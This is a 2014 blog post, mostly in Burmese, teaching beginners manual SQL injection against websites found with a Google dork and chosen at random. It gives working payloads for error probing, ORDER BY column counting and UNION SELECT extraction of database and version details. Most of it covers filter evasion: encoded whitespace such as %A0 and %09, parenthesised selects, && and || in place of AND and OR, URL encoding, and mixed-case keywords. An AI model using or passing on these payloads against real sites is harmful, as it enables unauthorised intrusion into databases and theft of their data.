Friday, September 12, 2014

Black Listed in SQL Injection

Black Listed in SQL Injection

http://www.tugberkugurlu.com/Content/Images/UploadedByAuthors/wlw/SQL-Injection-vs.-Lethal-Injection_D85/sql-injection.jpg 
SQL Injection ထိုးသူတိုင္းၾကံဳ ့ဖူးတယ္ထင္ပါတယ္
အရင္ဆံုးထိုးမယ္ဆိုအရင္းဆံုး Dork ေလးနဲ ့လိုက္ရွာပါတယ္ ကြ်န္ေတာ္ဆိုရင္ေျပာပါတယ္
ဥပမာ google ကေန inurl:index.php?id= (dork) သံုးျပီးေပါ့
ျပီးရင္ ေပါက္တဲ့ဆိုက္ကို random ေရြးတယ္ေပါ့
ဥပမာ example.com/index.php?id=1 ပဲထားပါေတာ့ ျပီးရင္ ' ေလးထည့္ၾကည့္တယ္ေပါ့
အကယ္လို ့ေပါက္ခဲ့ရင္
'You have an error in your SQL syntax...' ဘာညာတိေတာ့ပု biggrin
အဲ့ query ကို break လုပ္ျပီးသြားရင္ ျပန္ကလိေပါ့ --+ တို ့ # နဲ ့လဲအစဥ္ေျပတတ္ပါတယ္ biggrin
ေနာက္ ../id=1' order by 1 ျပီး တူး, တရီးအဲ့လို ့နဲ ့ error တက္တဲ့အထိစမ္းတာေပါ့
ေျပာရရင္ 5 မွာ unknown coloumn တက္ရင္ 4 အထိရွိတယ္ေပါ့
ျပီးရင္ union all select သံုးၾကတယ္ေပါ့
../id=-1 union all select 1,2,3 --+ (အဲ့မွာ id= ေလးက 1 မွာ negative value အျပင္ no. အၾကီးၾကီးေတြထည့္လဲရပါတယ္ like 999999)
ေနာက္ database() တို ့ version() or @@version တို ့နဲ ့ ဘာညာေပါ့

ထားပါေတာ့
အခုေျပာခ်င္တာက ကြ်န္ေတာ္တို ့ url ကေနထိုးၾကတဲ့အခါတခါတေလက်ရင္ Space , Comment , Union , Select , AND , OR တို ့က black listed ထားတာျဖစ္တတ္ပါတယ္
ဒီေတာ့ဘာျဖစ္သလဲဆိုေတာ့ URL မွာေရးရင္အလုပ္မလုပ္ေတာ့ဘူးေပါ့

အဲ့ျပသနာကဒီလိုဗ် ေျပာရရင္ vulnerability ျဖစ္တယ္ဆို order by ကိုအသံုးတာသိမွာပါ
ဒီေတာ့ OR က black listed ခံထားရေတာ့ order by 1 ဆို der by 1 ျဖစ္ကုန္ေရာ
ဘာမွန္းကိုမသိေတာ့တာ အဲ့ေတာ့ omg

ဒီလိုပဲ space black listed ခံထားရရင္လဲအတူတူပါပဲ
union all select 1,2,3 ဆိုရင္ unionallselect1,2,3 ျဖစ္ကုန္ေရာ
တူတူပါပဲ အလုပ္မလုပ္ေတာ့ပါဘူး
ဒီေတာ့ space ကိုေျဖရွင္းနည္းေျပာခ်င္ပါတယ္
ဒီလိုေလးေရးေပါ့
space ေနရာမွာ random character ေတြထည့္ျပီးေရးလို ့ရပါတယ္
ေျပာရရင္
.../id=1'%A0union%A0all%A0select%A01,2,3...
space ေနရာမွာ random character ကိုေနရာယူျပီးေရးလိုက္ျခင္းသာျဖစ္ပါတယ္
ၾကည့္ရတာေတာ့ေခါင္းမူးတာေပါ့ blink
%A0 ပဲရွိတာမပာုတ္ပါဘူး ဒီေကာင္ေတြလဲရပါေသးတယ္ %09 , %0A , %0C , %0D , %0B roflmao

ဒီလိုေရးလဲရပါေသးတယ္ ... ေနာက္တစ္နည္းေပါ့
union(select(1),(2),(3)); အဲ့သလိုဆိုလဲအလုပ္လုပ္မွာျဖစ္ပါတယ္......

ဒါဆိုေနာက္တစ္ခုဆက္ပါတယ္ OR , AND ကို black listed ထားရင္ေပါ့
.../id=1' order by 1 --+ လို ့ေရးရင္ OR ကို filter လုပ္လိုက္ေတာ့ der by 1 ျဖစ္ေကာ အဲ့ေတာ့ဘာေျပာလို ့ေျပာမွန္းကိုမသိ omg omg
AND ကိုအသံုးျပဳလဲထုိအတိုင္းျဖစ္ေကာေပါ့
blink blink blink blink ဒီေတာ့ solution က ????? blink blink blink blink
|| ဒါမွမပာုတ္ && နဲ ့စမ္းလို ့ရပါတယ္
ဒီလိုေလးပါ id=1' AND 1 --+ , id=1' OR 1 --+ တို ့အစား id=1' && 1 --+ , id=1' || 1 --+ ေပါ့
ေနာက္တစ္ခုက encode လုပ္ျပီးေရးရင္လဲရပါတယ္
အဲ့အတြက္ ဒီဆိုက္ေလးကိုသြားလိုက္ပါ (http://www.url-encode-decode.com/)
အဲ့ေရာက္ရင္ encode ကိုေရြး && ဆိုရင္ %26%26 ပါ || ဆိုရင္ %7C%7C ေပါ့

So How About Union & Select is black listed??
blink blink unsure unsure

../id=1 union select 1,2,3%26%26 '1 ဒါကပံုမွန္ေပါ့ enter ေခါက္လိုက္ရင္ အလုပ္မလုပ္ဖူးဗ် union နဲ ့ select ကက်န္ခဲ့ေရာဒီေတာ့
အာ့ဆိုဒီလိုစမ္းမယ္ဗ်ာ
../id=1%A0union%A0select%A01,2,3%26%26%271 ဒါလဲမလုပ္ဖူးဗ် အာ့ဆို.... blink
ဒီလိုေလးေျဖရွင္းလို ့ရပါတယ္ ../id=1%A0uNiOn%A0sElEct%A01,2,3%26%26%271 victorie

ဒီေလာက္ဆို Black Listed ကိုဘယ္လိုေရွာင္တိန္းလို ့ရတယ္ဆိုတာသိေလာက္ျပီထင္ပါတယ္
ကြ်န္ေတာ္ကိုယ္တိုင္လည္း begginer တစ္ေယာက္ပါပဲ
ေနာက္ ကြ်န္ေတာ့္လိုတျခား begginer ေတြအေနနဲ ့လဲ tools ေတြကိုအားမကိုးသင့္ပါဖူး like Havij
ဘာလို ့လဲဆိုေတာ့ concept ကိုနားမလည္ၾကေတာ့လို ့ပါ
manual ထိုးၾကည့္ပါပာုတ္ပါတယ္ခက္တာေတာ့ခက္တာေပါ့အစဆိုေတာ့ (ကြ်န္ေတာ္အပါအ၀င္ပါပဲ)
ေရးသားရာမွာအမွားပါတယ္.... နားမလည္တာဆို ကြ်န္ေတာ္ညံျဖင္းလို ့သာျဖစ္ပါတယ္

thanks for reading
Cyko Rat
Like

No comments:

Post a Comment